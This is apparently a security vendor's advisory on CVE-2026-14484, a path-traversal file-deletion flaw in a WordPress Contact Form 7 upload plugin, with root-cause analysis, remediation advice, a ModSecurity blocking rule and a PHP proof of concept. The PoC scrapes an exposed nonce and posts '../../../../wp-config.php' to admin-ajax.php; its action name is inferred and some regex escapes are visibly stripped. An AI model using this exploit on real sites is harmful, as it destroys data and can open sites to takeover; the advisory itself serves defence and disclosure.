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Published : November 15, 2026

CVE-2026-14484: RapiSafe <= 1.0.4 Unauthenticated Arbitrary File Deletion via 'rsmfcf7_session' and 'file_name' Parameters PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.1)
CWE 22
Vulnerable Version 1.0.4
Patched Version —
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14484 (metadata-based): The RapiSafe – Secure Multi File Upload for Contact Form 7 plugin for WordPress, versions up to and including 1.0.4, contains an unauthenticated arbitrary file deletion vulnerability. The flaw resides in the handleAjaxRemoveUpload function, which fails to properly validate file paths before deletion. An attacker can exploit this to delete any file on the server, including wp-config.php, potentially leading to remote code execution. The CVSS score is 9.1 (Critical).

Root Cause: The vulnerability is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory, Path Traversal). Atomic Edge analysis infers that the handleAjaxRemoveUpload function accepts a file_name parameter and constructs a file path without adequate sanitization or restriction to the intended upload directory. The nonce required for the AJAX action is exposed in public-facing JavaScript as RSMFCF7Vars.nonce on any page with a RapiSafe upload field, allowing unauthenticated users to obtain it. No code diff is available, so the exact vulnerable code is inferred from the CWE and description. The presence of a nonce check is confirmed by the description, but its exposure makes it ineffective for authorization.

Exploitation: An attacker first visits a page containing a RapiSafe upload field and extracts the RSMFCF7Vars.nonce value from the page source. Then, the attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable AJAX action (likely rsmfcf7_remove_upload or similar, inferred from the function name), the extracted nonce, and a file_name parameter containing a path traversal sequence such as ../../../../wp-config.php. The plugin deletes the specified file. The exact action name is not provided in the metadata, so Atomic Edge analysis infers it based on plugin naming conventions.

Remediation: The fix requires implementing proper path validation in the handleAjaxRemoveUpload function. This includes using realpath() to resolve the full path, verifying that the resolved path is within the intended upload directory, and rejecting any path containing directory traversal sequences. Additionally, the nonce should not be exposed in public JavaScript without proper capability checks, or an additional authorization check should be added to ensure only authorized users can delete files.

Impact: Successful exploitation allows an unauthenticated attacker to delete arbitrary files on the WordPress server. Deleting wp-config.php can lead to a denial of service and potentially facilitate remote code execution through a reinstallation attack. The CVSS vector indicates high integrity and availability impact, with no confidentiality impact. This vulnerability poses a critical risk to affected sites.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-14484 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:202614484,phase:2,deny,status:403,chain,msg:'CVE-2026-14484 via RapiSafe Arbitrary File Deletion',severity:'CRITICAL',tag:'CVE-2026-14484'"
  SecRule ARGS_POST:action "@streq rsmfcf7_remove_upload" "chain"
    SecRule ARGS_POST:file_name "@rx ../" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-14484 - RapiSafe <= 1.0.4 - Unauthenticated Arbitrary File Deletion via 'rsmfcf7_session' and 'file_name' Parameters

$target_url = 'http://example.com'; // Configure target URL
$file_to_delete = '../../../../wp-config.php'; // Relative path from upload directory

// Step 1: Fetch a page with a RapiSafe upload field to extract the nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/contact-form-page'); // Assume a page with the form
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from JavaScript variable RSMFCF7Vars.nonce
if (preg_match('/RSMFCF7Varss*=s*{[^}]*"nonce"s*:s*"([^"]+)"/', $response, $matches)) {
    $nonce = $matches[1];
    echo "[+] Extracted nonce: $noncen";
} else {
    die("[-] Could not extract nonce.n");
}

// Step 2: Send AJAX request to delete file
$post_data = array(
    'action' => 'rsmfcf7_remove_upload', // Inferred action name
    'nonce' => $nonce,
    'file_name' => $file_to_delete,
    'rsmfcf7_session' => 'dummy' // May be required
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Response (HTTP $http_code): $responsen";

// Note: The action name and parameter names are inferred from the CVE description and plugin naming conventions.
// Actual exploitation may require adjustments based on the plugin's implementation.
?>

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